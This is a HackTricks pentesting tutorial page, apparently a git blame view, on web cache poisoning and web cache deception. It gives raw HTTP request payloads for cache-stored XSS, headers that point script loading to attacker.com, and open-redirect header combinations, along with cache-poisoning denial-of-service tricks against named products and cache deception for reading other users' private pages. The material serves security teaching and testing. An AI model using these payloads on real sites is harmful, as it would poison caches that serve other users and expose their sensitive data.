hacktricks/pentesting-web/cache-deception.md

238 lines
16 KiB
Markdown
Raw Normal View History

2022-06-06 22:28:05 +00:00
# Cache Poisoning and Cache Deception
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
2022-07-21 20:04:48 +00:00
<img src="../.gitbook/assets/image (307).png" alt="" data-size="original">
2022-06-06 22:28:05 +00:00
Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**.
{% embed url="https://securityhubs.io/" %}
2022-04-28 16:01:33 +00:00
2022-06-06 22:28:05 +00:00
## The difference
> **What is the difference between web cache poisoning and web cache deception?**
>
> * In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
> * In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
2022-06-06 22:28:05 +00:00
## Cache Poisoning
The goal of poisoning the cache is to make the **clients load unexpected resources partially or totally controlled by the attacker**.\
The poisoned response will only be served to users who visit the affected page while the cache is poisoned. As a result, the impact can range from non-existent to massive depending on whether the page is popular or not.
2022-04-27 07:43:11 +00:00
In order to perform a cache poisoning attack you need first to **identify unkeyed inputs** (parameters not needed to appear on the the cached request but that change the returned page), see **how to abuse** this parameter and **get the response cached**.
2022-06-06 22:28:05 +00:00
### Identify and evaluate unkeyed inputs
2022-04-27 07:43:11 +00:00
You could use [Param Miner](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** that may be **changing the response of the page**. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load script from there:
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
2022-06-06 22:28:05 +00:00
### Elicit a harmful response from the back-end server
2021-11-30 16:46:07 +00:00
With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it any any way (perform a XSS or load a JS code controlled by you? perform a DoS?...)
2022-06-06 22:28:05 +00:00
### Get the response cached
2021-11-30 16:46:07 +00:00
Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it you need to get the page cached. Depending on the resource you are trying to get in the cache this could time more or less time and some times you just will need to be trying several seconds.\
The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\
The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`\
2021-11-30 16:46:07 +00:00
Another interesting header is **`Vary`** . This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`.\
One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache.
2022-04-05 22:24:52 +00:00
When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.
2022-07-28 09:46:19 +00:00
## Exploiting Examples
2022-06-06 22:28:05 +00:00
### Easiest example
2021-11-30 16:46:07 +00:00
A header like `X-Forwarded-For` is being reflected in the response unsanitized>\
You can send a basic XSS payload and poison the cache so everybody that access page will be XSSed:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Note that this will poison a request to `/en?region=uk` not to `/en`_
2022-06-06 22:28:05 +00:00
### Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response.
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.
2022-06-06 22:28:05 +00:00
### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
2021-11-30 16:46:07 +00:00
Some time you will need to **exploit several ukneyed inputs** to be able to abuse a cache. For example, you may find an **Open redirect** if you set `X-Forwarded-Host` to a domain controlled by you and `X-Forwarded-Scheme` to `http`.**If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as domain name for the redirect. You can control where the pagepointed by the redirect.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
2022-06-06 22:28:05 +00:00
### Exploiting with limited `Vary`header
If you found that the **`X-Host`** header is being used as **domain name to load a JS resource** but the **`Vary`** header in the response is indicating **`User-Agent`** . Then, you need to find a way to ex-filtrate the User-Agent of the victim and poison the cache using that user agent:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
2022-06-06 22:28:05 +00:00
### Exploiting HTTP Cache Poisoning abusing HTTP Request Smuggling
2021-11-05 20:59:42 +00:00
Learn here about how to perform [Cache Poisoning attacks abusing HTTP Request Smuggling](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
2022-06-06 22:28:05 +00:00
### Automated testing for Web Cache Poisoning
2022-05-06 10:58:15 +00:00
The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to test automated for web cache poisoning. It supports many different techniques and is highly customizable.
Example usage: `wcvs -u example.com`
2022-06-06 22:28:05 +00:00
{% hint style="danger" %}
2022-07-21 20:04:48 +00:00
<img src="../.gitbook/assets/image (307).png" alt="" data-size="original">
2022-06-06 22:28:05 +00:00
Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**.
{% embed url="https://securityhubs.io/" %}
{% endhint %}
2022-07-28 09:46:19 +00:00
## Vulnerable Examples
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request `/#/../?r=javascript:alert(1)` was sent to the backend as `/#/../?r=javascript:alert(1)` and the cache key did't have the payload inside of it, only host, path and query.
### GitHub CP-DoS
Sending a bad value in the content-type header triggered a 405 response that was cached. The cache key contained the cookie so it was possible only to attack unauth users.
### GitLab + GCP CP-DoS
GitLab uses GCP buckets to store static content. **GCP Buckets** support the **header `x-http-method-override`**. So it was possible to send the header `x-http-method-override: HEAD` and poison the cache into returning an empty response body. It could also support the method `PURGE`.
### Rack Middleware (Ruby on rails)
Ruby on Rails applications are often deployed alongside the Rack middleware. The Rack code below takes the value of the **`x-forwarded-scheme` value and uses it as the scheme of the request**.
2022-08-04 10:55:21 +00:00
![](<../.gitbook/assets/image (159) (2).png>)
2022-07-28 09:46:19 +00:00
Sending the `x-forwarded-scheme: http` header would result into a 301 redirect to the same location which will cause a DoS over that resource as in this example:
![](<../.gitbook/assets/image (166).png>)
The application might also support the header `X-forwarded-host` and redirect the user to that host, making possible to load javascripts files from the attacker server:
2022-08-04 10:55:21 +00:00
![](<../.gitbook/assets/image (157) (2).png>)
2022-07-28 09:46:19 +00:00
### 403 and Storage Buckets
**Cloudflare** used to **cache** the **403 responses**, therefore sending **bad Authorization** headers trying to access **S3** or **Azure Storage Blobs** exposed will return a 403 that will be cached. Cloudflare no longer caches 403 responses but this might work with other proxies.
![](<../.gitbook/assets/image (171).png>)
### Injecting Keyed Parameters
Quite often, caches are configured to **only include specific GET parameters in the cache key**.
For example, Fastly using Varnish **cached the `size` parameter** in the request but if you sent **also** the **`siz%65`** parameter with a bad value, the **cache key** was constructed with the **well written size param**, but the **backend** used the **value inside the URL encoded param**.
![](<../.gitbook/assets/image (180).png>)
URL encoding the second `size` parameter caused it to be ignored by the cache, but used by the backend. Giving the parameter a value of 0 would result in a cacheable 400 Bad Request.
### User Agent Rules
Due to the high amount of traffic tools like FFUF or Nuclei generate, some developers decided to block reqeusts matching their user-agents. Ironically, these tweaks can introduce unwanted cache poisoning DoS opportunities.
![](<../.gitbook/assets/image (167).png>)
I found this worked on multiple targets, with user-agents from different tools or scanners.
### Illegal Header Fields
The header name format is defined in [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) as follows:
![](<../.gitbook/assets/image (175).png>)
In theory, if a header name contains characters other than the ones listed in **tchar** it should be rejected with a 400 Bad request. In practice however, servers don't always respect the RFC. The easiest way to exploit this nuance, was by targeting Akamai which doesn't reject invalid headers, but forwards them and caches any 400 error as long the cache-control header is not present.
![](<../.gitbook/assets/image (163).png>)
Sending a header containing an illegal character, `\` would cause a cacheable 400 Bad Request error. This was one of the most commonly identified patterns throughout my testing.
### Finding new headers
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
2022-06-06 22:28:05 +00:00
## Cache Deception
The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.
2022-04-27 07:43:11 +00:00
First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access w\_ww.example.com/profile.php/nonexistent.js\_ the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users.
Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
2022-04-27 07:43:11 +00:00
In the example it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the users sensitive information**) is going to be returned and the cache server is going to save the result.\
2021-11-30 16:46:07 +00:00
Then, the **attacker** can access _http://www.example.com/home.php_ and see the **confidential information** of the users that accessed before.
2021-11-30 16:46:07 +00:00
Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type (which is the expected for a _.css_ file).
2021-11-05 20:59:42 +00:00
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
2022-06-06 22:28:05 +00:00
## References
* [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
* [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
* [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)
2022-07-28 09:46:19 +00:00
* [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
2022-04-28 16:01:33 +00:00
2022-07-21 20:04:48 +00:00
<img src="../.gitbook/assets/image (307).png" alt="" data-size="original">
2022-06-06 22:28:05 +00:00
Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**.
{% embed url="https://securityhubs.io/" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>